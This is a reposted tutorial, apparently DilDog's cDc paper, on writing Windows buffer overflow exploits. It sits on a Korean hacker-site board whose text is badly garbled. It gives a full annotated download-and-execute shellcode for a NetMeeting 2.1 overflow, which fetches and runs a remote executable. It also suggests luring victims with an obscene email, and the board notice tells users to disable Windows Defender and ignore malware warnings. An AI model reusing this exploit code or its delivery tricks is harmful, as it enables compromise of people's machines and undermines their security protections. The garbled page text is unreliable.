ÇØÄ¿Áî´º½º / ÇØÄ¿´ëÇÐ

Donation bitcoin(±âºÎ¿ë ºñÆ®ÄÚÀÎ ÁÖ¼Ò)

¡¡
1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4
¡¡
±âºÎÇϽŠºñÆ®ÄÚÀÎÀº "º¸¾È Ãë¾à °èÃþ"À» À§ÇØ »ç¿ëµÇ°í ÀÖ½À´Ï´Ù.
¡¡
¡¡

Donation bitcoin(±âºÎ¿ë ºñÆ®ÄÚÀÎ ÁÖ¼Ò)

¡¡
1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4
¡¡
±âºÎÇϽŠºñÆ®ÄÚÀÎÀº "º¸¾È Ãë¾à °èÃþ"À» À§ÇØ »ç¿ëµÇ°í ÀÖ½À´Ï´Ù.
¡¡

°øÁö

¡¡

1. MS ¿§Áö ºê¶ó¿ìÀú¿¡¼­ÀÇ °æ°íâÀº 'À©µµ¿ì µðÆæ´õ'¸¦ ²ô½Ã¸é µË´Ï´Ù.

             'À©µµ¿ì µðÆæ´õ ²ô±â'

2. Å©·Ò ºê¶ó¿ìÀú·Î Á¢¼Ó½Ã ³ª¿À´Â ¾Ç¼ºÄÚµå °æ°íâÀº ±¸±Û Å©·ÒÀÇ ¿¡·¯, Áï ¿ÀŽ(ŽÁö ¿À·ù)À̹ǷΠ¹«½ÃÇÏ½Ã¸é µË´Ï´Ù.

3. ÀÌ »çÀÌÆ®´Â ¾ÈÀüÇÏ¸ç ±ú²ýÇÏ´Ù´Â °ÍÀ» ¾Ë·Á µå¸³´Ï´Ù.

4. ¹«°íÇÑ »çÀÌÆ®µé¿¡ ´ëÇÑ °ø·æ ±â¾÷ ºê¶ó¿ìÀúµéÀÇ ¹«Â÷º°ÀûÀÎ 'ŽÁö ¿À·ù ȾÆ÷'°¡ »ç¿ëÀÚµéÀÇ Á¤º¸ °øÀ¯ÀÇ ÀÚÀ¯¸¦ ħÇØÇÏ°í ÀÖ½À´Ï´Ù. ÀÌ¿¡ ´ëÀÀÇÏ¿© ÀÌ ±â¾÷µéÀ» »ó´ë·Î ¼Ò¼ÛÀ» ÁغñÇÏ°í ÀÖ½À´Ï´Ù.

¡¡

  ¢Æ   [º¸µå°ü¸®¼³Á¤]-[4-15]¿¡¼­ ÁöÁ¤   ¢Æ  

À̸§: DilDog (http://www.cultdeadcow.com)
2004/5/27(¸ñ)
À©µµ¿ì¿¡¼­ ¹öÆÛ¿À¹öÇ÷οì ÄÚµå ¸¸µé±â(¿µ¹®)  
»õ ÆäÀÌÁö 1

Fundamentals

A buffer overflow occurs when something very large is placed in a box far too small for it to fit. It's all gotta go somewhere. An example in code is as follows:


void func(void)
{
   int i;
   char buffer[256];   
                                  // *
   for(i=0;i<512;i++)                 
      buffer[i]='A';              // !
   
   return;
}

As you can see, our 'buffer' gets filled with 256 'A's, followed by 256 more that just don't fit. The rest of those 'A's have to go somewhere.

And where they go depends on your operating system implementation and programming language, but if you don't have automatic bounds checking like Java, I guarantee you that those 'A's are going somewhere unfortunate.

Here is a picture of a healthy 32-bit stack, in such an operating system as Windows 9x/NT running on an Intel platform. It looks like what it should look like at the point marked * in the code above.

STACK 
        ----------------
        Local Variables
ESP->   i
        Buffer
        ----------------
EBP->   Old Value of EBP
        ----------------
        Return Address
        ----------------

When the "func" procedure returns, it moves EBP back into ESP, and POP's the return address off the stack. When the above line of code marked '!' executes it overflows the buffer, writing 'A's over the old value of EBP and over the return address. By overwriting the return address, you can seriously alter the course of program flow. All you have to do is change the return address to point to a memory location of your choice, and the code you want to execute will be reached when this procedure decides to 'return'. If you stuff the buffer with code bytes, you can then reroute the EIP to them on the next RET, since the stack is considered executable memory in Windows 9x/NT on the Intel architecture.

The lesson on basics is over. If you have written a buffer overflow exploit on other operating systems or have fully mastered these basic concepts, we will go into detail on how to recognize the buffer overflow condition in Windows and proceed to detail on exploitation.

What It Looks Like

When you see something like this,

¡¡

¡¡

you probably hit some kind of buffer overflow. Sure the error is somewhat generic looking, but look a little closer at some of those values...

To get this to happen, I fed a string of 0x80 bytes into a popular conference package called 'Microsoft Netmeeting' through the address field of a 'speeddial' shortcut. EIP happens to be 0x80808080. Guess what? That's good! I found a stack overflow! Now all I have to do is craft my exploit string to have some fun code inside, and tweak four of those 0x80 bytes to point to my exploit string.

Note at this point that other types of errors will bring up similar dialog boxes, and that not all of them are buffer overflows. Some buffer overflows are easier to exploit than others as well. I will be going into the mechanics of stack overflows in Windows in this paper. Other types of overflows, such as heap overflows are exploitable, on Intel Win95/98/NT, but are beyond the scope of this paper by about 50 IQ points from the target audience.

Once you're pretty sure that you've found a buffer overflow, you need to decide what approach you're going to take, and find out what tools are available to you.

¡¡

How Can This Be Used?

Now we need to figure out what's really going on. To create the buffer overflow situation, I created a file called "overflow.cnf". CNF is a file format used by Microsoft Netmeeting when you save a 'SpeedDial' shortcut to disk. CNF files are commonly placed on people's webpages and in emails so that people on netmeeting will give them a call.

If you wanted to exploit this overflow, you could simply start up Netmeeting, find a bunch of people on the ILS server, and send them email with the CNF file attached. Just make the mail say something like: My girlfriend and I want you to watch us fuck while you spank it! Call us soon, we're horny! They'll click the icon. It may also be possible to fake a connection to an ILS server as well, creating a fake user and supplying the bogus address line with our exploit it in, so that if they click on the name, they get zapped. All kinds of fun owning the machines of horny men looking for titties on the net!

So. Let's do it! What do we have at our disposal? Well, the overflow is in 'RUNDLL32.EXE', which is of different sizes between Windows 95 and Windows NT. It's a safe bet to assume that they have different import tables (go ahead and verify that yourself with DUMPBIN). Oh, by the way, this particular overflow will only happen in Windows 95, but the exploit technology is valid for Windows NT as well. Netmeeting 2.1 was the version, by the way.

¡¡

The Good And The Bad

When that crash occurs, and you hit 'close', you'll notice that Netmeeting itself does not close. This means that RUNDLL32 is being launched in a separate process space. This is both good, and bad. The good side is that you don't have a lot of complicated code to wade through and whatever you do, it won't look too suspicious, because Netmeeting didn't close. The bad side is that RUNDLL32 doesn't load too much in the way of DLL's or external resources. It looks like we'll have to load those on our own.

Upon further inspection, we have even more shit to deal with. An executable, such as RUNDLL32.exe has a base address of 0x00400000. This means that almost all references to the stack are going to have at least one NULL character in them. This is unfortunate, because it is almost always runaway string operations in C that cause these kind of overflow problems. Hence, if we write our code with null characters, we will harm our own exploit string because it will be truncated as it is manipulated. Other bad characters include line feed, carriage returns, some control codes, and in some extreme cases, even lowercase or uppercase letters, or characters whose ASCII value is greater >= 0x80 (one of the worst cases!) We're just going to have to be clever.

Other things we have to work with: MSCONF.DLL is loaded. This is because RUNDLL loaded it. We notice this because the command line for starting .CNF files is "rundll32.exe msconf.dll,OpenConfLink %l" as defined in the CNF file type. We can also assume that KERNEL32.DLL is loaded because KERNEL32 functions are listed in RUNDLL32's import table. Then again, KERNEL32 functions are also listed in the MSCONF.DLL import table. Lets look to see what would be more reliable: We're hacking Netmeeting 2.1. One version of the product. One version of MSCONF.DLL. There could be any version or revision of RUNDLL32 or KERNEL32 loaded from various OS versions or upgrades. Hence, if we were to reference an absolute virtual memory address, it had better be within MSCONF or else, we might be poking into the wrong places (version skew!). This is problematic, assuming that we want this exploit to work on all versions of the target OS.

So... we look at how other programs get their addresses. We want to be able to use internet functions to do fun stuff with our exploit code, so we are going to need to use WSOCK32.DLL or WININET.DLL. WinInet provides more functionality with less code, so we'll go with that for now. WININET is not loaded into the process space of RUNDLL32, so we'd have to load it. But wait! We haven't mentioned how to gain control of the EIP and point it to our code yet! So we shall...

Snatching the EIP

So we found that through a buffer overflow of the right length, we could modify the return address of some function and jump to code of our choice. It would seem natural then, for us to do something like the following:

¡¡

Address=.....256periods....1234xyz

Since the buffer size is 256 bytes (we figure that out by experimentation, slowly growing and shrinking the address= line length until we home in on the exact number of characters that cause it to crash) the above string will fill the buffer with 256 periods, overwrite EBP with 0x34333231 and set EIP to 0x00ZZYYXX, since the string ends with a null terminator. This lets us point to wherever we want in the stack because guess what, we're allowed 1 NULL at the very end!

In some cases, this works fine. But in other cases, the buffer is either too small for this to work and do something useful, or the buffer is first munged by a bunch of string ops or parsing. In many cases, putting the code AFTER the return address is a better idea, as follows:

¡¡

Address=.....256periods....1234wxyzOURCODEFOLLOWSHERE>>>

In this case, you often get a lot more code space to work with for writing your exploit, but we don't get the added benefit of getting a free null character to form our stack jump address. Turns out that putting the code after the return address is what we'll need to do for this exploit. The stuff before the return address is destroyed before we get a chance to work with it. We end up jumping to 0xZZYYXXWW, where neither WW,XX,YY, or ZZ can be invalid chars. So where do we go? Somewhere that can take us where we want to go.

First, turn on your realtime debugger and put in an exploit string that will surely cause the thing to crash. Something that points to a blatantly bad address (set 0xZZYYXXWW to equal 0x34333231 for example. No code is in memory there, instant page fault). Now run it and let your debugger kick in. Examine the state, and see what you have to work with. In the case of this exploit, we find that ESP is the only register that points to anything anywhere near our exploit code. In fact, it points to the location where we blew over the saved EBP, plus 16 bytes. Ok... So what exactly are we trying to do?

We want to jump the stack. In fact, simply jumping to ESP should be sufficient. A clever way to do this is to set the 0xZZYYXXWW to point to a piece of code in memory that does a "jmp esp" or a "call esp" or something like that. But, to complicate issues, it has to be in a piece of code where no byte in the address is a "bad byte", especially 0x00. We find our magic code in MSCONF.DLL, loaded at 0x6A600000, offset 2A76:

.00002A76: 54                           push   esp
.00002A77: 2404                         and    al,004
.00002A79: 33C0                         xor    eax,eax
.00002A7B: 8A0A                         mov    cl,[edx]
.00002A7D: 84C9                         test   cl,cl
.00002A7F: 740F                         je    .000002A90   
.00002A81: 80E930                       sub    cl,030  ;"0"
.00002A84: 8D0480                       lea    eax,[eax][eax]*4
.00002A87: 0FB6C9                       movzx  ecx,cl
.00002A8A: 42                           inc    edx
.00002A8B: 8D0441                       lea    eax,[ecx][eax]*2
.00002A8E: EBEB                         jmps  .000002A7B
.00002A90: C20400                       retn   00004

This code doesn't look like it jumps to esp, but that's because it doesn't. It returns to ESP. The PUSH ESP happens, the jmps 2A7B happens once, then the JE 2A90 kicks in and pops us to a RET. This effectively jumps us to ESP. Heh. So all is well. MSCONF.DLL is loaded, and we can expect that this code is going to be in the same place all the time because we only have one version of MSCONF.DLL to worry about, and it has a fixed DLL base address. So our value of 0xZZYYXXWW is 0x6A602A76. No nulls, no bad chars, no bullshit. We have now snatched the EIP. The processor is ours. Now to do something useful...

Constructing the Exploit

We are now in control of the machine. We need to do something useful now, but we are limited on how long we can make our code. You'll notice that after about 763 characters, that we end up crashing in a different place. This is also an overflow, a different one. So Microsoft really has two bugs to fix, but hey, we're only exploiting one right now. If we have time, we'll get back to the other.

The first 256 characters get blown away so our code only has about 500 bytes of room in which to fit. Here's what we have to deal with:

¡¡

  • 500 byte maximum exploit length
  • We don't know what OS version we're running
  • We don't know where any useful functions are located

This kinda sucks, but let's look at this from a non-exploit point of view. If I was a little executable, compiled for Windows, I would run on both Win95 and WinNT. If I want to call ExitProcess, how do I know where the function is? It's in two different locations in Kernel32.DLL between the two OS's. (and in two different places between OSR1 and OSR2 of W95, and various service pack releases of WinNT, for that matter). I can't just jump to a random address.

I have to be told the location of these functions. There is a function in the Win32 API called "GetProcAddress". It returns the memory address of a function, given it's name and it's module handle. So what's the address of GetProcAddress? We don't know! We would have to call it to find out! So how does it work? Import tables.

Import tables are structures in the PE-Executable format that specify that the operating system should tell us the location of certain functions and fill in a table with the values. Use DUMPBIN to get the import table. Both DLLs and EXEs have import tables. We know that MSCONF.DLL is in memory, and that since we're only dealing with one version of MSCONF.DLL, if GetProcAddress was in it's import table, then the address for GetProcAddress was written to a fixed location in MSCONF.DLL's table space by the operating system when it was loaded.

So we dump it:

¡¡

Microsoft (R) COFF Binary File Dumper Version 5.10.7303
Copyright (C) Microsoft Corp 1992-1997. All rights reserved.


Dump of file msconf.dll

File Type: DLL

  Section contains the following imports:

    KERNEL32.dll

                 23F   Sleep
                 183   IsBadReadPtr
                 17E   InterlockedIncrement
                 .
                 .
                 .
                  1E   CompareStringA
                  98   FreeLibrary
                 116   GetProcAddress
                 190   LoadLibraryA
                  4C   DeleteCriticalSection
                  51   DisableThreadLibraryCalls
                 .
                 .
                 .

And there we are! GetProcAddress, and LoadLibraryA! LoadLibrary can be used to get module handles of DLLs that are loaded, and to load DLLs that aren't loaded. It basically returns the DLL base address. This is important because the base address of the KERNEL32.DLL differs between NT and 95.

So we pop into our debugger and search through memory until we find the address of the functions. They appear at 0x6A60107C (LoadLibraryA), and 0x6A601078 (GetProcAddress). We just need to call these locations using an indirection (call dword ptr [0x6A60107C]) and we'll go to the right places.

In order to be efficient, we are going to build our exploit in two parts:

  • Build a jumptable of the functions we intend to use, and
  • Run our code with reference to our own jumptable.

This reduces the amount of code required to call a function when necessary, and minimizes stack usage to save registers. This is important, because if we PUSH or POP too much, we might blow away our code or cause other stack problems. In order to build this jumptable though, we'll need to know ahead of time what Win32 functions we'll be calling. So lets figure out what we want to do. 500 bytes is far too small for a really useful Windows program, so instead, we'll make our little egg code download another program off of the internet, a larger, well constructed executable, and execute it. This will enable us to write this little tedious chunk once, and have it execute a piece of higher level code.

To download a URL, we'll need InternetOpenA, InternetCloseHandle, InternetOpenUrlA, and InternetReadFile from WININET.DLL. We'll also need _lcreat, _lwrite, and _lclose from KERNEL32.DLL to write the file to disk once downloaded. We'll need GlobalAlloc from KERNEL32.DLL to allocate memory for what we're downloading. We'll also want WinExec and ExitProcess (also in KERNEL32.DLL) to execute what we've downloaded, and kill the RUNDLL32 process that we so thoroughly corrupted (before it can make a sound).

Note that in a regular Win32 program, you would never call _lcreat, or any of the other obsolete functions. However, they exist in Win95 and NT, and they have far simpler calling syntax than CreateFile and friends. So we'll use 'em.

¡¡

Creating our Jumptable

Now to create the jumptable.

Hurdle #1: We need to refer to the functions by name

That's right. GetProcAddress calls for either a function ordinal (which we can't use because they change from version to version), or a function name. A NULL terminated function name. Our exploit string has to have null characters in it? Oh shit! We should have thought of that earlier! That and we'll have to package this thing with a URL string as well for it to download!

So we be clever again. Since no character in any of our function names, or in our download URL is above ASCII 0x80, it's safe to tack all of the names and the url to the end of the exploit string, and XOR (or ADD for that matter) 0x80 to all of the string bytes. And when we start up the exploit, we simply XOR the tail of our exploit with 0x80's. This has the added advantage that the naked eye looking at the exploit string won't be able to tell exactly what we're trying to do. Not good encryption, but that's not the point. We're just trying to make it _work_.

So we tack the following crap to the end of the exploit string:

¡¡

00000270:  .. .. .. .. .. .. .. 4B-45 52 4E 45-4C 33 32 00         KERNEL32
00000280:  5F 6C 63 72-65 61 74 00-5F 6C 77 72-69 74 65 00  _lcreat _lwrite
00000290:  5F 6C 63 6C-6F 73 65 00-57 69 6E 45-78 65 63 00  _lclose WinExec
000002A0:  45 78 69 74-50 72 6F 63-65 73 73 00-47 6C 6F 62  ExitProcess Glob
000002B0:  61 6C 41 6C-6C 6F 63 00-57 49 4E 49-4E 45 54 00  alAlloc WININET
000002C0:  49 6E 74 65-72 6E 65 74-4F 70 65 6E-41 00 49 6E  InternetOpenA In
000002D0:  74 65 72 6E-65 74 43 6C-6F 73 65 48-61 6E 64 6C  ternetCloseHandl
000002E0:  65 00 49 6E-74 65 72 6E-65 74 4F 70-65 6E 55 72  e InternetOpenUr
000002F0:  6C 41 00 49-6E 74 65 72-6E 65 74 52-65 61 64 46  lA InternetReadF
00000300:  69 6C 65 00-68 74 74 70-3A 2F 2F 77-77 77 2E 6C  ile http://www.l
00000310:  30 70 68 74-2E 63 6F 6D-2F 7E 64 69-6C 64 6F 67  0pht.com/~dildog
00000320:  2F 65 61 74-6D 65 2E 65-78 65 00 .. .. .. .. ..  /eatme.exe      

But we XOR it with 0x80 to eliminate the 00 bytes, as follows:

¡¡

 00000270:  .. .. .. .. .. .. .. CB-C5 D2 CE C5-CC B3 B2 80         -+-++¢Ò¢Ò_«
 00000280:  DF EC E3 F2-E5 E1 F4 80-DF EC F7 F2-E9 F4 E5 80  __?__©­_«_______«
 00000290:  DF EC E3 EC-EF F3 E5 80-D7 E9 EE C5-F8 E5 E3 80  __?____«+__+ƒ_?«
 000002A0:  C5 F8 E9 F4-D0 F2 EF E3-E5 F3 F3 80-C7 EC EF E2  +ƒ__-__?___«¢Ò___
 000002B0:  E1 EC C1 EC-EC EF E3 80-D7 C9 CE C9-CE C5 D4 80  ©­_-___?«+++++++«
 000002C0:  C9 EE F4 E5-F2 EE E5 F4-CF F0 E5 EE-C1 80 C9 EE  +_______-___-«+_
 000002D0:  F4 E5 F2 EE-E5 F4 C3 EC-EF F3 E5 C8-E1 EE E4 EC  ______+____+©­___
 000002E0:  E5 80 C9 EE-F4 E5 F2 EE-E5 F4 CF F0-E5 EE D5 F2  _«+_______-___+_
 000002F0:  EC C1 80 C9-EE F4 E5 F2-EE E5 F4 D2-E5 E1 E4 C6  _-«+_______-_©­_¢Ò
 00000300:  E9 EC E5 80-E8 F4 F4 F0-BA AF AF F7-F7 F7 AE EC  ___«____¢Ò¨£¨£___¢¥_
 00000310:  B0 F0 E8 F4-AE E3 EF ED-AF FE E4 E9-EC E4 EF E7  ____¢¥?__¨£_______
 00000320:  AF E5 E1 F4-ED E5 AE E5-F8 E5 80 .. .. .. .. ..  ¨£_©­___

Got it? Good.

Hurdle #2: We need to decode the string table

So our first task in the code is to decode this shit, so we make this the first thing it executes:

¡¡

 00000146: 33C9                         xor    ecx,ecx

Clear ECX, we're gonna use this.

 00000148: B88053FF63                   mov    eax,063FF5380  ;"c_S«"
 0000014D: 2C80                         sub    al,080  ;"«"
 0000014F: C1C018                       rol    eax,018

Set EAX to the end of our data area in memory (we have to do this ugly funk so we don't get any NULL characters).

 00000152: B1B4                         mov    cl,0B4  ;"¢Ò"

ECX is now 0x000000B4, the number of characters we want to XOR.

 00000154: 48                           dec    eax
 00000155: 803080                       xor    b,[eax],080  ;"«"
 00000158: E2FA                         loop   000000154   ---------- (1)

And here's the XOR loop. Now we see why we XORed from the end of the memory. Now EAX points to the start of the data, and we can proceed to use it to reference the names. Now we move on to actually get our jumptable.

Hurdle #3: Loading all the procedure addresses

¡¡

 0000015A: BE7C10606A                   mov    esi,06A60107C
 0000015F: 50                           push   eax
 00000160: 50                           push   eax
 00000161: FF16                         call   d,[esi]
 00000163: 8BF0                         mov    esi,eax

All this code does is call LoadModule. I didn't need to push twice there, but I was debugging, and hey, I forgot to remove it. NOP it out if you like. EAX pointed to the string "KERNEL32", which was the first argument to LoadModule. When LoadModule returns, it will put the kernel module handle in EAX, which we then save in ESI, so that it won't get blown away by calling other procedures.

¡¡

 00000165: 5B                           pop    ebx
 00000166: 8BFB                         mov    edi,ebx
 00000168: 6681EF4BFF                   sub    di,0FF4B  ;"_K"

This sets EDI to point to the base of our jumptable, which we place 181 bytes past the beginning of our decoded string table (in further stack space).

 0000016D: FC                           cld
 0000016E: 33C9                         xor    ecx,ecx
 00000170: 80E9FA                       sub    cl,-006

We're going to loop six times, for the six procedures we're loading from the kernel. So now ECX=0x00000006.

 00000173: 43                           inc    ebx
 00000174: 32C0                         xor    al,al
 00000176: D7                           xlat
 00000177: 84C0                         test   al,al
 00000179: 75F8                         jne    000000173   ---------- (1)
 0000017B: 43                           inc    ebx

This loop scans over the text, searching for a null character (move to the next string, in other words), and then points EBX the character one past the 0x00 byte. This moves us from one procedure name to the next. Note the 31337 use of XLAT. I like that. Our whole memory reference in one byte. Sweet.

 0000017C: 51                           push   ecx
 0000017D: 53                           push   ebx
 0000017E: 56                           push   esi
 0000017F: FF157810606A                 call   d,[06A601078]
 00000185: AB                           stosd
 00000186: 59                           pop    ecx

This gets the procedure addresses for our functions, and places them in the table pointed to by EDI.

 00000187: E2EA                         loop   000000173   ---------- (2)

Loop for all the kernel procedures.

Now that we're done with the kernel, we gotta repeat for the WININET procedures.

 00000189: 43                           inc    ebx
 0000018A: 32C0                         xor    al,al
 0000018C: D7                           xlat
 0000018D: 84C0                         test   al,al
 0000018F: 75F8                         jne    000000189   ---------- (2)
 00000191: 43                           inc    ebx

This code only exists to move EBX past the name of the last kernel function and to the string "WININET" in our decoded string table.

 00000192: 53                           push   ebx
 00000193: 53                           push   ebx
 00000194: FF157C10606A                 call   d,[06A60107C]
 0000019A: 8BF0                         mov    esi,eax
 0000019C: 90                           nop
 0000019D: 90                           nop
 0000019E: 90                           nop
 0000019F: 90                           nop

Yeah the NOPs and the double-push are more debugging shit. Get rid of them yourself if you don't like 'em there. This code gets the module handle (base address) of WININET.DLL. It stores it in ESI.

 000001A0: 33C9                         xor    ecx,ecx
 000001A2: 83E9FC                       sub    ecx,-004
 000001A5: 43                           inc    ebx
 000001A6: 32C0                         xor    al,al
 000001A8: D7                           xlat
 000001A9: 84C0                         test   al,al
 000001AB: 75F8                         jne    0000001A5
 000001AD: 43                           inc    ebx
 000001AE: 51                           push   ecx
 000001AF: 53                           push   ebx
 000001B0: 56                           push   esi
 000001B1: FF157810606A                 call   d,[06A601078]
 000001B7: AB                           stosd
 000001B8: 59                           pop    ecx
 000001B9: E2EA                         loop   0000001A5

This is just a copy of the code used to get the addresses for the kernel functions, but this time it's getting the addresses of 4 WININET functions. I hope you don't need me to explain all of this twice, or you'll never finish reading this. OK! now we've built us a jumptable. EDI points to the dword past the end of the jumptable, so we can just reference our procedures indirectly from EDI now (call dword ptr [edi-16]). It's just like an import table, but more fun!

Now that we have harnessed all of our tools, they are mere keystrokes away. It's time to get to the meat.

¡¡

The Shit

Time to do what we've come here to do. Lets write this thing:

 000001BB: 90                           nop
 000001BC: 90                           nop
 000001BD: 33C0                         xor    eax,eax
 000001BF: 6648                         dec    ax
 000001C1: D1E0                         shl    eax,1
 000001C3: 33D2                         xor    edx,edx
 000001C5: 50                           push   eax
 000001C6: 52                           push   edx
 000001C7: FF57EC                       call   d,[edi][-0014]
 000001CA: 8BF0                         mov    esi,eax

This code allocates 131070 bytes of memory. EAX gets 131070, and we call GlobalAlloc, indirectly addressed from our jumptable -0x14 bytes from EDI. This stores the memory address in ESI. The type of GlobalAlloc is GMEM_FIXED (0), which results in a memory address being returned rather than an unlocked handle.

 000001CC: 33D2                         xor    edx,edx
 000001CE: 52                           push   edx
 000001CF: 52                           push   edx
 000001D0: 52                           push   edx
 000001D1: 52                           push   edx
 000001D2: 57                           push   edi
 000001D3: FF57F0                       call   d,[edi][-0010]

Then, we create an Internet handle with a call to InternetOpenA. All the parameters to InternetOpenA are zero in this case, so we're in luck.

The internet handle is returned in EAX and we'll immediately set it up as a parameter to the next function we call...

 000001D6: 33D2                         xor    edx,edx
 000001D8: 52                           push   edx
 000001D9: 52                           push   edx
 000001DA: 52                           push   edx
 000001DB: 90                           nop
 000001DC: 52                           push   edx
 000001DD: 8BD7                         mov    edx,edi
 000001DF: 83EA50                       sub    edx,050  ;"P"
 000001E2: 90                           nop
 000001E3: 90                           nop
 000001E4: 90                           nop
 000001E5: 52                           push   edx
 000001E6: 50                           push   eax
 000001E7: FF57F8                       call   d,[edi][-0008]

This code makes a call to InternetOpenUrlA (at [EDI-0x08]), invoking our chosen URL. The URL type is unspecified in the code, so the URL can be HTTP,FTP,FILE,GOPHER,... whatever the hell you want.

 000001EA: 57                           push   edi
 000001EB: 33D2                         xor    edx,edx
 000001ED: 664A                         dec    dx
 000001EF: D1E2                         shl    edx,1
 000001F1: 52                           push   edx
 000001F2: 56                           push   esi
 000001F3: 50                           push   eax
 000001F4: FF57FC                       call   d,[edi][-0004]

This code uses InternetReadFile (at [EDI-0x04]) to download up to 131070 bytes into our memory buffer (pointer in ESI). Note that we first pushed EDI. EDI is where we're going to store the count of how many bytes are actually read. This is needed to save the file to disk with the right size.

Note that there is a limit to the size of the exploit executable you can download. Awww. If that's too small, then too fuckin bad. What the fuck are you writing anyway, an MFC exploit? Shit...

¡¡

 000001F7: 90                           nop
 000001F8: 90                           nop
 000001F9: 90                           nop
 000001FA: 33D2                         xor    edx,edx
 000001FC: 52                           push   edx
 000001FD: 8BD7                         mov    edx,edi
 000001FF: 83EA30                       sub    edx,030  ;"0"
 00000202: 42                           inc    edx
 00000203: 90                           nop
 00000204: 90                           nop
 00000205: 52                           push   edx
 00000206: FF57D8                       call   d,[edi][-0028]

This calls _lcreat (at [edi-0x28]) to create a file in which to dump our memory buffer. Time to give this data a home! The filename is chosen by looking at the last 5 characters of the url. In this case, it's "e.exe". The file will be created in the place where exploit was launched (usually the person's SpeedDial directory in the case of Netmeeting).

 00000209: FF37                         push   d,[edi]
 0000020B: 56                           push   esi
 0000020C: 50                           push   eax
 0000020D: 8BD8                         mov    ebx,eax
 0000020F: FF57DC                       call   d,[edi][-0024]

And now we do the actual write to disk with a call to _lwrite (at [edi-0x24]). The parameter for the number of bytes to write is located at [edi]. We also push the buffer location and the file handle returned by _lcreat. Before we call the function though, we save the handle in EBX, which is not modified by _lwrite.

 00000212: 53                           push   ebx
 00000213: FF57E0                       call   d,[edi][-0020]

And then we close the file handle to get things committed. Now all that's left is to execute the file we downloaded and exit this process. We aren't going to bother cleaning up the memory allocation or anything like that. That would be nice, but fuck it, we're not here to be nice.

 00000216: 90                           nop
 00000217: 90                           nop
 00000218: 90                           nop
 00000219: 33D2                         xor    edx,edx
 0000021B: 42                           inc    edx
 0000021C: 52                           push   edx
 0000021D: 8BD7                         mov    edx,edi
 0000021F: 83EA30                       sub    edx,030  ;"0"
 00000222: 42                           inc    edx
 00000223: 90                           nop
 00000224: 90                           nop
 00000225: 52                           push   edx
 00000226: FF57E4                       call   d,[edi][-001C]

Alright, now we just tell WinExec to run the executable! Note that the first 'inc edx' is to select "Show Window" mode for the executable. If you want the executable to run in 'hidden' mode, you should nop that line out, and it will use SW_HIDE instead of SW_SHOWNORMAL as the second parm to WinExec. the first parm is the filename. Run it!

 00000229: 90                           nop
 0000022A: 90                           nop
 0000022B: 90                           nop
 0000022C: FF57E8                       call   d,[edi][-0018]

And now we're done with this process. ExitProcess will clean up our mess. And so it was done.

That's it!

This code that I have explained can be used as an overflow egg for any Windows 95 or NT program. It is theorized to work in a Windows 98 environment. The example Netmeeting 2.1 exploit that I used throughout this explanation is a Win95 only flaw, but for other operating systems, the code, and technology remains the same. The Netmeeting flaw is not patched as of this writing, but expect it to be fixed sometime. Learn. Experience. And send me all of your money.

Now you can start ruling the world. Have fun with this knowledge. Rob from the rich, and rob from the poor. Eat your cat. Kill your parents. Blow up your local elementary school. Rape young farm animals. Do whatever your sick and twisted mind can fathom. And when you get caught, just tell 'em Satan made you do it.

Oh yeah, and I almost forgot. Here's the whole toy put together.

¡¡

  À̸§   ¸ÞÀÏ   °ü¸®ÀÚ±ÇÇÑÀÓ
  ³»¿ë ÀÔ·Ââ Å©°Ô
                    ´äº¯/°ü·Ã ¾²±â Æû¸ÞÀÏ ¹ß¼Û ¼öÁ¤/»èÁ¦     ´ÙÀ½±Û    
¹øÈ£Á¦ ¸ñÀ̸§Ã·ºÎÁ¶È¸
21   À©µµ¿ì¿¡¼­ ¹öÆÛ¿À¹öÇ÷οì ÄÚµå ¸¸µé±â(¿µ¹®) DilDog    84828
20   Formatting(¿µ¹®) MooreR    2460
19   ¿Â¶óÀÎ ¼­Àû ºÐ¾ßº° ÃÑÁýÇÕ ±èÁøÅà    31509
18   ¸ðµç ¿ø¼­´Â ÀÌ°÷¿¡ FgOsT    43014
17   Àü¼¼°èÀÇ ¸ðµç ÆÄÀÏÇü½Äµé (ÆÄÀÏ È®ÀåÀÚ ¸ñ·Ï) ±èÁøÅà    20243
16   ÃÖ»óÀÇ º¸¾ÈÀ¯Áö¹ý - ¿µ¹® FgOsT     15503
15   ÀÎÆ®¶ó³Ý unleashed - ¿µ¹® FgOsT     10065
14   High-Performance Networking Unleashed - ¿µ¹® FgOsT     5993
13   Firewalls Complete - ¿ø¼­ FgOsT     5208
12   cisco router handbook - ¿ø¼­ ±èÁøÅà     5270